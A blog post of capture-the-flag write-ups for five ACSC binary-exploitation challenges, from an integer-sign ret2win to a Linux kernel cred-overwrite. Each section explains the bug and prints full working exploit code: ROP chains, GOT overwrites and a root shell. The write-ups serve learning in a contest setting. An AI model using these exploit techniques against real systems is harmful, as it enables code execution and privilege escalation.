I played ACSC this year. I only tried pwn challenges and was able to solve all pwn except Message Center. The challenges were pretty awesome and had new things to learn. I really enjoyed it. Here are writeups for the ones I solved.

Filtered - 100 pts - 168 solves

The relevant parts of challenge source are below:

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}
void readline(const char *msg, char *buf, size_t size) {
[redacted]

/* Print `msg` and read an integer value */
int readint(const char *msg) {
  char buf[0x10];
  readline(msg, buf, 0x10);
  return atoi(buf);
}

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

Looking at the source reveals that there is a win function to get the flag. So we just need to somehow call this function. In main, the program reads an int (length) then checks if it is greater than 0x100, if it is then exits; otherwise reads that many bytes in buf buffer of size 0x100.
The issue here is that whenever bounds checks are to be done, unsigned variables must be used. But, the program uses signed variables for the bounds check. This becomes a security issue because giving a negative number passes the check and the readline function interprets the length as an unsigned value. Hence, reads a large number of bytes are read into the buf buffer.
Let’s take a look at the protections on the binary.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

No canary and PIE is disabled. So, we can do a simple ret2win by giving a negative number. I chose -1 for maximum bytes.
Just calculate the offset upto RIP and put address of win and you get the flag.

#!/usr/bin/env python3
from pwn import *

def start():
    global p
    if args.REMOTE:
        p = remote('filtered.chal.acsc.asia', 9001)
    else:
        p = elf.process()

context.binary = elf = ELF('./filtered')
libc = elf.libc
start()

p.sendlineafter(': ', '-1')
p.sendlineafter(': ', b'A'*280 + p64(elf.sym.win))

p.interactive()
p.close()

Flag: ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

Histogram - 200 pts - 38 solves

Relevant source code below:

[redacted]
int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};

/* Call this function to get the flag! */
void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1; // WEIGHT_STRIDE = 10
  j = (short)ceil(height / HEIGHT_STRIDE) - 1; // HEIGHT_STRIDE = 10
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}
[redacted]

int main(int argc, char **argv) {
  if (argc < 2)
    fatal("No input file");

  /* Open CSV */
  FILE *fp = fopen(argv[1], "r");
  if (fp == NULL)
    fatal("Cannot open the file");

  /* Read data from the file */
  int n = 0;
  while (read_data(fp) == 0)
    if (++n > SHRT_MAX)
      fatal("Too many input");
[redacted]
}

This program also has a win function. We just need a way to execute it.
The program basically reads the Comma-separated-values (CSV) file given as first argument, reads the values, perform some checks and increments the relevant point in the map for the weight,height values for making a histogram. weight and height are read as floats. The program does not have a vulnerability.
The issue actually appears due to a special feature. The floats are defined by IEEE-754 standard. This standard defines some special values. Namely: NaN (Not-a-Number), inf, -inf (infinities) and -0.
We can try using these special values to see how the program behaves.
Using -0 works same as 0 and fails the check. Trying inf and -inf doesn’t pass the checks either.
But, NaN is special. The standard defines interesting properties for it. The most interesting are the comparisons. Whenever NaN is compared to a number-like variable, the comparison evaluates to False. Even NaN == NaN is not true.
So, using NaN,1 passes the check. Its value is actually 0x80000000. After all the arithmetic, it becomes 0x7fffffff and lands us at 0x404028 which is GOT for fread. Increasing height by multilples of ten lets us move across the GOT and, hence, increment any GOT value.
I decided to increment GOT of fclose because it is executed at end and has no occurences before that. So, the GOT will have a binary address. NaN,30 lands us at GOT of fclose. I need to increment it 0x401268 - 0x401060 = 0x208 times. I created exploit.csv using the following one-liner.

open('exploit.csv', 'w+').write('NaN,30\n'*0x208)

The website had some issues so I used the following python script to send the file.

import requests

req = requests.post('https://histogram.chal.acsc.asia/api/histogram', files = {"csv" : open("exploit.csv", "rb")}, verify = False)
print(req.text)

Flag: ACSC{NaN_demo_iiyo}

CArot - 320 pts - 18 solves

Relevant code below:

[redacted]
char gif[14] = {
  0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 
  0x01, 0x00, 0x00, 0x00, 0x00, 0x3b
};
[redacted]

#define BUFFERSIZE 512

char* http_receive_request() {
  long long int read_limit = 4096;

  connect_mode = -1;

  char buffer[BUFFERSIZE] = {};
  scanf("%[^\n]", buffer);
  getchar();
  
  if (memcmp(buffer, "GET ", 4) != 0) return NULL;
  
  int n = strlen(buffer);
  read_limit -= n;

  if (n < 9) return NULL;

  char* tail = buffer + n-9;
  if (memcmp(tail, " HTTP/1.0", 9) != 0 && 
      memcmp(tail, " HTTP/1.1", 9) != 0) return NULL;

  *tail = '\0';
  char* ret = strdup(buffer+4);
  *tail = ' ';

  while (1) {
    buffer[0] = '\0';
    scanf("%[^\n]", buffer);
    getchar();
    
    int n = strlen(buffer);
    if (n == 0) break;
[redacted]

int main() {
  setbuf(stdout, NULL);
  while (1) {
    char* fname = http_receive_request();
    if (fname == NULL) {
      http_send_reply_bad_request();
    } else {
      try_http_send_reply_with_file(fname);
      free(fname); 
    }

    if (connect_mode != KEEP_ALIVE) break;
  }
}

Analyzing the source reveals that this is something like a webserver. The upcoming request should be a GET request and must have either HTTP/1.0 or HTTP/1.1 at end. The path is stored in buffer of size 512 bytes. But, bytes are read using scanf("%[^\n]", buffer);. This scanf is bounds-unaware and reads bytes until it receives a null byte. This effectively imitates the notorious gets function except that it leaves the newline in the stream. Hence, a buffer overflow vulnerability. Then it reads some other headers, but this can be skipped using a simple newline.
This program does not have a win function, so we need some other primitive to read the flag.
One thing to note about this challenge is that we don’t have direct interaction with the binary. Following script works as a proxy between us and the binary.

#!/usr/bin/python3

from time import sleep
from sys import stdin, stdout, exit
from socket import *

LIMIT = 4096

buf = b''
while True:
  s = stdin.buffer.readline()
  buf += s

  if len(buf) > LIMIT:
    print('You are too greedy')
    exit(0)

  if s == b'\n':
    break

p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 11452))
p.sendall(buf)

sleep(2)

p.setblocking(False)
res = b''
try:
  while True:
    s = p.recv(1024)
    if not s:
      break
    res += s
except:
  pass

stdout.buffer.write(res)

Lets check protections enabled.

RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

No PIE and NX hint at a ROP challenge, GOT is not writeable and there’s no canary.
Now it’s pretty clear that it’s a ROP challenge. But, because we don’t have direct interaction with the binary we can’t do a simple ret2libc attack. We need to build something like that using the existing gadgets.
Following are the gadgets I used:

pop_rbp                = 0x400828
pop_rdi                = 0x4010d3
pop_rbx_pop_rbp_pop_4  = 0x4010ca
pop_rsi_pop_r15        = 0x4010d1

ret                    = pop_rdi + 1

mov_rax_qword_rbp_8    = 0x400b7d
mov_qword_rbp_0x30_rax = 0x400cae

add_dword_rbp_0x3d_ebx = 0x400888

jmp_qword_rbp          = 0x4014fb

The whole idea behind my ROP chain is to read address of printf to a writeable area, increment it to make it system address, read a string for argument of system then call system with the string.
pseudo-code below:

rax = qword ptr [printf's GOT]

rbx = system - printf
rbp = &gif - 8

[rbp] = rax             // write printf address
[&gif - 8] += rbx       // increment

scanf("%[^\n]", &gif)   // read the command

rdi = &gif
rbp = &gif - 8

jmp [rbp]              // system(&gif)

My exploit:

#!/usr/bin/env python3
from pwn import *

def start():
    global p
    if args.REMOTE:
        p = remote('167.99.78.201', 11451)
    else:
        p = elf.process(env = {"LD_PRELOAD": libc.path})

context.binary = elf = ELF('./carot')
libc = ELF('./libc-2.31.so')

pop_rbp                = 0x400828
pop_rdi                = 0x4010d3
pop_rbx_pop_rbp_pop_4  = 0x4010ca
pop_rsi_pop_r15        = 0x4010d1

ret                    = pop_rdi + 1

mov_rax_qword_rbp_8    = 0x400b7d
mov_qword_rbp_0x30_rax = 0x400cae

add_dword_rbp_0x3d_ebx = 0x400888

jmp_qword_rbp          = 0x4014fb

junk = u64(b'JUNKJUNK')

ropchain = [
    pop_rbp, elf.got.printf + 8,
    mov_rax_qword_rbp_8,
    junk, junk, junk,

    pop_rbx_pop_rbp_pop_4, (libc.sym.system - libc.sym.printf) & 0xffffffff, elf.sym.gif - 8 + 0x30,
    junk, junk, junk, junk,

    mov_qword_rbp_0x30_rax,
    junk, junk, junk, junk, junk, junk, elf.sym.gif - 8 + 0x3d, # rbp

    add_dword_rbp_0x3d_ebx,

    pop_rdi, 0x4012f0,
    pop_rsi_pop_r15, elf.sym.gif,
    junk,

    elf.plt.__isoc99_scanf,

    pop_rdi, elf.sym.gif,
    pop_rbp, elf.sym.gif - 8,
    ret,
    jmp_qword_rbp
]

payload = b''.join([p64(x) for x in ropchain])

start()

p.sendline(b'A'*536 + payload)
p.sendline('cat flag.txt')
p.sendline()

p.interactive()
p.close()

Flag: ACSC{buriburi_1d3dfb9bf7654412}

bvar - 380 pts - 22 solves

Relevant code below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct node_data{
	char data[0x8];
	char name[0x4];
};
struct node{
	struct node_data *data;
	struct node *next;
	struct node *prev;
};

char c_memory[1000];
unsigned int c_size = 0;

char* freelist[10];
int free_head=0;


struct node *head;
struct node_data *temp_memory;


char* c_malloc(unsigned int size){
	int temp = 0;

	if(size < 4)
		size = 4;

	if(c_size + (size+4) > 999){
		printf("No Space :(\n");
		exit(1);
	}

	if(free_head==0){
		temp = (size+4);
		memcpy(&c_memory[c_size],&temp,4);
		temp = c_size + 4;
		c_size += (size + 4);
		return &c_memory[temp];
	}
	else{
		return freelist[--free_head];
	}
}

void c_free(char *ptr){
	if(free_head==10)
		return;
	freelist[free_head++] = ptr; 
}

[redacted]

int main(){
[redacted]

init();
while(1){
	memset(input,0,0x18);	
	memset(data,0,0x9);
	memset(name,0,0x5);

	printf(">>> ");
	read(0,input,0x10);
	if(input[strlen(input)-1] == '\n')
		input[strlen(input)-1] = '\x00';
	split = strchr(input,'=');
[redacted]

	else{
		if(!strncmp("delete",input,6)){
			for(temp=head; temp!=NULL; temp=temp->next){
				if(!strncmp(temp->data->name,&input[7],4)){
					if(temp->prev)
						temp->prev->next = temp->next;
					if(temp->next)
						temp->next->prev = temp->prev;
					c_free(temp->data);
					c_free(temp);
					printf("delete!\n");
					break;
				}
			}
		}
[redacted]

This program stores pairs of name and data using custom heap-like functionality. The name can be of 4 bytes and data can be of 8 bytes at maximum. The pairs are stored in a doubly-linked list using node and node_data structs. It lets us add, delete, clear the head, edit and print node and its data.name and data need to be separated by =.
Analyzing the program reveals two issues:

  1. The freelist is same for all sizes. (size is just a number)
  2. When we delete the head node, head pointer is not cleared.

So, when we free the head node and add a new node, because of LIFO, the node_data of head becomes node and node becomes node_data of the new node. name of new node is written in the next area of head and since name is read using read, no null-byte termination.
This lets us control which values will be checked for further operations when the list is traversed.
Lets check protections enabled:

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

PIE is enabled and RELRO is disabled. So, we will most likely do a GOT overwrite, but for that we need a binary leak.
Since, the heap-like implementation is in bss, so, leaking a pointer from one of the structures will give us a binary leak.
For leak, I overwrote the next pointer’s lsb to 0xc8, which points to data of new node. Since, new node’s next is null, sending an empty string will match with it and return the data pointer using the printing mechanism.

0x55e6239f5508: 0x000055e6239f5594     <---- head

gef➤  x/2gx 0x000055e6239f5594
0x55e6239f5594: 0x000055e6239f55c0      0x000055e6239f55c8   <---- data and next of 
                                                            head node and data and 
                                                            name of new node
gef➤  x/2gx 0x000055e6239f55c8
0x55e6239f55c8: 0x000055e6239f5584      0x0000000000000000   <---- data and name 
                                                            of head and data and
                                                            next of new node

This gives 0x000055e6239f5584.
But, for properly using the GOT overwrite, we need a libc leak also.
I cleared the head and repeated the same mechanism for libc leak using exit’s GOT because it was last in the list of GOT but with 0x08 for the overwrite. This way I get exit’s address and calculate libc base using it.
Finally, time for the overwrite. I decided to do overwrite strlen’s GOT because it was the first function our input was fed into and has a signature like system.
Once again, cleared the head, created two nodes; second one with address of GOT of strlen - 8 because the edit function lets us edit 4 bytes of name only. That’s enough because the upper 4 bytes are same for all libc addresses, Freed the head, created a new node, overwrote lsb with 0x60 which points to the the location of GOT of strlen - 8, send edit with lower 4 bytes of strlen then edit strlen to system. Then simply sending /bin/sh gives shell.

0x55713605a508: 0x000055713605a644     <---- head

gef➤  x/2gx 0x000055713605a644
0x55713605a644: 0x000055713605a670      0x000055713605a660   <---- data and next of 
                                                            head node and data and 
                                                            name of new node
gef➤  x/2gx 0x000055713605a660
0x55713605a660: 0x000055713605a428      0x0000001c31323334   <---- data and name 
                                                            of head and data and
                                                            next of new node
gef➤  x/gx 0x000055713605a428
0x55713605a428 <puts@got.plt>:          0x00007f23ab24c5a0
0x55713605a430 <strlen@got.plt>:        0x00007f23ab279d30   <--- target

There was one small issue with this approach. strlen is a function having different implementations (ifunc) in libc which are used based upon the system libc is running on. For some reason, different implementations were used on my machine and the remote server.
To get the specific implemention, I leaked the strlen’s address on remote using the same leaking mechanism because after strlen there’s is __stack_chk_fail’s GOT which is same on my machine and remote server. Then simple offset calculation.
Final exploit below:

#!/usr/bin/env python3
from pwn import *

def start():
    global p
    if args.REMOTE:
        p = remote('167.99.78.201', 7777)
    else:
        p = elf.process(env = {"LD_PRELOAD": libc.path + ":./ld-2.31.so"})

def add(name: bytes, data: bytes):
    p.sendlineafter('>>> ', name + b'=' + data)

    return name[:4]

def delete(name: bytes):
    p.sendlineafter('>>> ', b'delete ' + name)

def edit(name: bytes, new_name: bytes):
    p.sendlineafter('>>> ', b'edit ' + name)
    time.sleep(1)
    p.sendline(new_name)

def show(name: bytes):
    p.sendlineafter('>>> ', name)

def clear():
    p.sendlineafter('>>> ', 'clear')

context.binary = elf = ELF('./bvar_patched')
libc = ELF('./libc-2.31.so')
start()

a = add(b'1234', b'test1')
b = add(b'4321', b'test2')
delete(a)

c = add(b'\xc8', b'hack')
show(b'')
binary_leak = u64(p.recvline(False).ljust(8, b'\x00'))
elf.address = binary_leak - 0x3594

clear()

a = add(b'1234', b'test1')
b = add(b'4321', p64(elf.got.exit))
delete(a)

c = add(b'\x08', b'hack')
show(b'')
libc_leak = u64(p.recvuntil('\x7f').ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym.exit

clear()

a = add(b'1234', b'test1')
b = add(b'4321', p64(elf.got.strlen - 8))
delete(a)

c = add(b'\x60', b'hack')

if args.REMOTE:
    edit(p32((libc.address + 0x18b660) & 0xffffffff), p32(libc.sym.system & 0xffffffff))

else: 
    edit(p32((libc.address + 0xb4d30) & 0xffffffff), p32(libc.sym.system & 0xffffffff))

p.sendlineafter('>>> ', '/bin/sh')

p.interactive()
p.close()

Flag: ACSC{PWN_1S_FUN_5W33T_D3liC1ous :)}

sysnote - 400 pts - 5 solves

This is a kernel pwn challenge. Some syscalls are added into kernel. This was special for me because I recently learned some kernel pwning techniques and this was my first time solving a kernel challenges during a CTF. I will skip some beginner stuff here, for that checkout my writeup for a kernel challenge.
Code for the syscalls is below:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/compiler.h>
#include <linux/export.h>
#include <linux/fault-inject-usercopy.h>
#include <linux/kasan-checks.h>
#include <linux/thread_info.h>
#include <linux/uaccess.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/mm.h>

#define MAX_LENGTH 4096

// Linux version 5.13.0+ (zzoru@ubuntu) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils) 2.36.1) #20 SMP Sat Aug 14 07:01:51 PDT 2021

/* Looks like there is no strcpy_from_user function in kernel... so i made it! */
long strcpy_from_user(char *dst, const char __user *src)
{
    unsigned long max_addr, src_addr;
    long res = 0;

    might_fault();
	if (should_fail_usercopy())
		return -EFAULT;
	max_addr = user_addr_max();
	src_addr = (unsigned long)untagged_addr(src);
    if (likely(src_addr < max_addr)) {
        unsigned long max = max_addr - src_addr;
        if (user_read_access_begin(src, max)) {
            while (max) {
                char c;

                unsafe_get_user(c,src+res, efault);
                
                if (!c)
                    return res;
                dst[res] = c;
                res++;
                max--;
            }
            user_read_access_end();
            return res;
        }
    }
efault:
	return -EFAULT;
}

SYSCALL_DEFINE0(current_addr)
{
    return (long)current;
}

SYSCALL_DEFINE1(add_note, const char __user *, str)
{
    return strcpy_from_user(current->note, str);
}

SYSCALL_DEFINE0(delete_note)
{
    memset(current->note, 0, sizeof(current->note));
    return 0;
}

SYSCALL_DEFINE1(show_note, const char __user *, str)
{
    return copy_to_user((void *)str, current->note, strlen(current->note));
}

SYSCALL_DEFINE1(copy_note, const char __user *, str)
{
    return copy_from_user(current->note, (void *)str, sizeof(current->note));
}

Looking at the code reveals that these syscalls deal with current task_struct and its member note. note is not a member of task_struct in the actual kernel, it was added in k.patch file just before the cred structs of the current process.

[redacted]
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index ce18119ea0d0..5c4421684aa3 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -413,3 +413,9 @@
 547	x32	pwritev2		compat_sys_pwritev64v2
 # This is the end of the legacy x32 range.  Numbers 548 and above are
 # not special and are not to be used for x32-specific syscalls.
+
+548	64	add_note			sys_add_note
+549	64	delete_note			sys_delete_note
+550	64	show_note			sys_show_note
+551	64	copy_note			sys_copy_note
+552    64  current_addr        sys_current_addr
\ No newline at end of file
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 32813c345115..2b74ab806a32 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -946,6 +946,8 @@ struct task_struct {
 	struct posix_cputimers_work	posix_cputimers_work;
 #endif
 
+
+	char			note[1024];    <----- here
 	/* Process credentials: */
 
 	/* Tracer's credentials at attach: */
[redacted]

We also get the syscall numbers for the new syscalls. Following is an overview of each syscall:

  • add_note: copies a user provided buffer into the note using a dangerous strcpy_from_user function (buffer overflow; doesn’t allow null bytes)
  • delete_note: nulls the whole note
  • show_note: copies note (until a null) to a userland buffer
  • copy_node: copies 1024 bytes from user buffer to note (allows null bytes)
  • current_addr: gives address of current process’s task_struct

Since the note is adjacent to the cred struct, the best way to become root is to overwrite cred with init_cred
But for that, we need a kernel leak. Since we get current_task using current_addr syscall, I checked task_struct for kernel pointers and found a kernel pointer after some values from current_cred pointer.

0xffff8880043f2da8:  0x0000000000000000   0xffff888004433780 <---- real_cred
0xffff8880043f2db8:  0xffff888004433780   0x0000000000000000 <---- cred
0xffff8880043f2dc8:  0x0074696f6c707865   0x0000000000000064
0xffff8880043f2dd8:  0x0000000000000000   0x0000000000000000
0xffff8880043f2de8:  0xffff8880043f2de8   0xffff8880043f2de8
0xffff8880043f2df8:  0xffff8880044107c0   0xffff88800312c840
0xffff8880043f2e08:  0x0000000000000000   0xffffffff8244e8a0 <---- kernel pointer

Initially, I tried overwriting values upto this pointer, copying note, calculate kernel base, overwrite cred with init_cred and spawn a shell. But, becuase null bytes are not allowed in strcpy_from_user and leaving random values makes the kernel panic.
I was stuck here for a long time then I decided to overwrite cred to address of the kernel pointer - 4 and use getuid to read its lower 4 bytes and getgid for upper 4 bytes. -4 because in cred struct the first int is a magic number and uid is stored after the magic number. Reading the lower 4 bytes worked fine but trying to read upper 4 bytes always gave 0xfffe instead of 0xffffffff; because the upper 4 bytes were always 0xffffffff and it correspond to -1, so, it thought it was an error. So, I just hardcoded 0xffffffff because it was same everytime.
After getting the pointer, I replaced real_cred and cred with init_cred and spawned a shell.
You just have to be careful about not printing anything before repairing cred because write syscall does some checks which are done using selinux_file_permission which are based on cred, having an invalid pointer will make the kernel panic.
Final exploit:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <syscall.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

#define ADD_NOTE     548
#define DEL_NOTE     549
#define SHOW_NOTE    550
#define COPY_NOTE    551
#define CURRENT_ADDR 552

uint64_t buf[256] = {0};
uint64_t copy[256] = {0};

void make_copy(int offset){
    memset(buf, 'A', (128 + offset)*8);

    syscall(ADD_NOTE, buf);
    syscall(SHOW_NOTE, buf);

    copy[128 + offset] = buf[128 + offset];
}

int main(int argc, char* argv[]){
    uint64_t current_addr = syscall(CURRENT_ADDR);

    printf("current task: %p\n", current_addr);

    make_copy(1);

    uint64_t current_cred = copy[128 + 1];
    uint64_t note = current_addr + 0xab8 - 8*2 - 1024;
    copy[128 + 1] = 0;

    buf[128]     = current_addr + 0xb10 - 4;
    buf[128 + 1] = current_addr + 0xb10 - 4;
    buf[128 + 2] = current_addr + 0xb10 - 4;

    syscall(ADD_NOTE, buf);

    uint32_t lower = getuid();
    uint32_t upper = 0xffffffff;

    uint32_t tmp[2] = {lower, upper}; // it works this way ¯\_(ツ)_/¯
    uint64_t leak = *(long *)tmp;

    buf[128]     = current_cred;
    buf[128 + 1] = current_cred;
    buf[128 + 2] = current_cred;

    syscall(ADD_NOTE, buf);

    printf("%p\n", leak);

    uint64_t kbase = leak - 0x144e8a0;
    uint64_t init_cred = kbase + 0x144eac0;

    buf[128]     = init_cred;
    buf[128 + 1] = init_cred;
    buf[128 + 2] = init_cred;

    syscall(ADD_NOTE, buf);

    system("whoami; sh");
}

Flag: ACSC{m0mmy, 1 r34lly h4t3 7hi5 n0te}

Lastly, props to the organizers for amazing CTF.
If you have any question, hit me on discord stdnoerr#7880


stdnoerr

CTFer | pwner | wanna learn everything